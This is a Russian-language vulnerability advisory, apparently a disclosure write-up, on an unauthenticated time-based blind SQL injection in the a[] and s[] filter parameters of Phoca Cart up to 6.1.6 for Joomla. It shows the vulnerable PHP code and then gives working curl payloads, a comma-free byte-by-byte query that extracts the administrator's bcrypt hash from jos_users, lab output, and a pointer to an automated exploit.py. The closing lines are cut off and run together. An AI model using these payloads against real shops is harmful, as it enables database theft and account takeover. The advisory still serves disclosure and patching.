
Неаутентифицированная SQL-инъекция через фильтр атрибутов в Phoca Cart — CVSS 9.3
Phoca Cart ≤ 6.1.6 — неаутентифицированный злоумышленник извлекает всю базу данных с помощью time-based blind инъекции
Параметры GET-массивов a[] (атрибут) и s[] (спецификация) на публичной странице товаров магазина Phoca Cart конкатенируются в SQL-выражения WHERE в исходном виде, без параметризации или экранирования. Неаутентифицированный злоумышленник может внедрить произвольный SQL через эти параметры, что позволяет полностью извлечь базу данных с помощью техники time-based blind (слепой инъекции на основе времени).
Уязвимость находится в getSqlPartsArray() внутри admin/libraries/phocacart/search/search.php. Функция вызывает explode(',', $v) перед построением списка IN(), но никогда не экранирует полученные значения — поэтому payload без запятых попадает в SQL-запрос в неизменном виде. Поскольку getItemListQuery() вызывается дважды за запрос (getTotal() + getItemList()), payload SLEEP(N) вызывает наблюдаемую задержку в 2×N секунд, что делает обнаружение по времени очень надёжным.
| КОМПОНЕНТ | УЯЗВИМА | ПРОТЕСТИРОВАНО НА | ИСПРАВЛЕНО |
|---|---|---|---|
| Phoca Cart (com_phocacart) | 5.0.0 – 6.1.6 | Joomla 5.4.7 + Phoca Cart 6.1.6 (PHP 8.2 / Apache) | 6.1.7 |
Тип: SQL-инъекция — Time-Based Blind (CWE-89)
Требуется аутентификация: нет — общедоступная конечная точка
Файл: admin/libraries/phocacart/search/search.php
Модель товаров читает параметры a[] и s[] напрямую из HTTP-запроса без санитизации:
SITE/MODELS/ITEMS.PHP — СТРОКИ 92–93
$this->setState('a', $app->getInput()->get('a', '', 'array')); // ← raw array from GET
$this->setState('s', $app->getInput()->get('s', '', 'array')); // ← raw array from GET
Эти значения передаются в getSqlPartsArray(), которая разделяет каждое значение по запятым и вставляет полученные фрагменты непосредственно в SQL-выражение IN():
SEARCH.PHP — GETSQLPARTSARRAY(), СТРОКИ 318–363 (УЯЗВИМО)
foreach ($value as $k => $v) {
$a = explode(',', $v); // splits on comma — but does NOT escape
$a = array_unique($a);
if ($k && $v) {
if ($searchArea == 'a') {
// ANY method — $a values are NOT escaped before implode:
$inA[] = '(at2.alias = ' . $db->quote($k) . ' AND v2.alias IN ('
. '\'' . implode('\',\'', $a) . '\'' // ← raw user input injected here
. '))';
// ALL method — $v2 injected raw into double-quoted context:
foreach ($a as $v2) {
$inAS[$iA] = 'at2.alias = ' . $db->quote($k)
. ' AND v2x' . $iA . '.alias = "' . $v2 . '"'; // ← raw $v2
$iA++;
}
}
else if ($searchArea == 's') {
// specification filter — same pattern, same flaw:
$inA[] = '(s2.alias = ' . $db->quote($k) . ' AND s2.alias_value IN ('
. '\'' . implode('\',\'', $a) . '\'' . '))'; // ← raw
}
}
}
Результирующий SQL-фрагмент вставляется в основной запрос:
a.id IN (
SELECT at2.product_id FROM #__phocacart_attributes AS at2
LEFT JOIN #__phocacart_attribute_values AS v2 ON v2.attribute_id = at2.id
WHERE (at2.alias = 'color' AND v2.alias IN ('INJECTION POINT'))
GROUP BY at2.product_id HAVING COUNT(at2.alias) >= 1
)
getActiveFilterValues() в filter.php применяет filterValue($item, 'alphanumeric') к значениям a[]/s[] для слоя отображения. Однако getSqlPartsArray() читает те же параметры напрямую из $app->getInput()->get('a', '', 'array') без какой-либо санитизации, полностью обходя защиту слоя отображения.
Аутентификация не требуется. Страница товаров (/index.php?option=com_phocacart&view=items) является общедоступной. Для эксплуатации не требуется настраивать атрибуты или спецификации в магазине.
Неаутентифицированный пользователь может получить доступ к торговому порталу без каких-либо учётных данных.

Сырой запрос, перехваченный в Burp Suite — базовое время отклика: 76 мс.

a[])Payload SLEEP(3) внедряется через параметр a[color]. Поскольку getItemListQuery() вызывается дважды за запрос, ожидаемая задержка составляет 2 × 3 = 6 с. Наблюдаемое значение: 7085 мс — подтверждено.
# Time-based blind SQLi — SLEEP(3) fires twice → ~6s response
curl -s -o /dev/null -w "%{time_total}s\n" -G \
--data-urlencode "option=com_phocacart" \
--data-urlencode "view=items" \
--data-urlencode "a[color]=x' AND (SELECT COUNT(*) FROM (SELECT SLEEP(3))z) AND '1'='1" \
"http://TARGET/index.php"
# Result: 7.085s — CONFIRMED
# Specification filter (s[]) — same code path
curl -s -o /dev/null -w "%{time_total}s\n" -G \
--data-urlencode "option=com_phocacart" \
--data-urlencode "view=items" \
--data-urlencode "s[spec]=x' AND (SELECT COUNT(*) FROM (SELECT SLEEP(3))z) AND '1'='1" \
"http://TARGET/index.php"

Замена SLEEP(3) на SLEEP(0) возвращает ответ немедленно (1064 мс), что подтверждает: задержка вызвана внедрённым SLEEP, а не сетевыми условиями.

Извлекайте bcrypt-хэш администратора по одному байту за раз. Критическое ограничение: explode(',', $v) разделяет строку по запятым перед построением SQL — в payload необходимо использовать SUBSTRING(str FROM pos FOR len) (синтаксис ANSI с ключевыми словами), чтобы избежать обрезания по запятой, а также CASE WHEN ... THEN ... ELSE ... END вместо IF().
# Extract ASCII value of char at position POS from admin password hash
# Replace POS (1-based) and EXPECTED_ASCII with actual values
# SLEEP(2) fires twice → 4s = match; <1s = no match
PAYLOAD="x' AND (SELECT COUNT(*) FROM (SELECT CASE WHEN \
((SELECT ASCII(SUBSTRING(password FROM POS FOR 1)) FROM jos_users WHERE username=0x61646d696e)=EXPECTED_ASCII) \
THEN SLEEP(2) ELSE 0 END as r)tmp) AND '1'='1"
curl -s -o /dev/null -w "%{time_total}s\n" -G \
--data-urlencode "option=com_phocacart" \
--data-urlencode "view=items" \
--data-urlencode "a[color]=$PAYLOAD" \
"http://TARGET/index.php"
Проверка в лаборатории — первые 12 символов bcrypt-хэша администратора:
| поз. | символ | ASCII | отклик | совпадение |
|---|---|---|---|---|
| 1 | $ | 36 | >6s | ✓ |
| 2 | 2 | 50 | >6s | ✓ |
| 3 | y | 121 | >6s | ✓ |
| 4 | $ | 36 | >6s | ✓ |
| 5 | 1 | 49 | >6s | ✓ |
| 6 | 0 | 48 | >6s | ✓ |
| 7 | $ | 36 | >6s | ✓ |
| 8 | L | 76 | >6s | ✓ |
| 9 | N | 78 | >6s | ✓ |
| 10 | v | 118 | >6s | ✓ |
| 11 | t | 116 | >6s | ✓ |
| ... | ... | ... | >6s | ✓ |
Извлечённый префикс $2y$10$LNvt... — полный bcrypt-хэш из 60 символов может быть восстановлен примерно за 240 запросов.
Включённый скрипт exploit.py автоматически извлекает полный хэш пароля администратора без ручного перебора, используя ту же технику на основе времени, что описана выше.
python exploit.py http://TARGET

com_phocacart и публичным фронтендом является эксплуатируемым.INSERT / UPDATE / DELETE, включая создание новых учётных записей администратора или изменение записей заказов.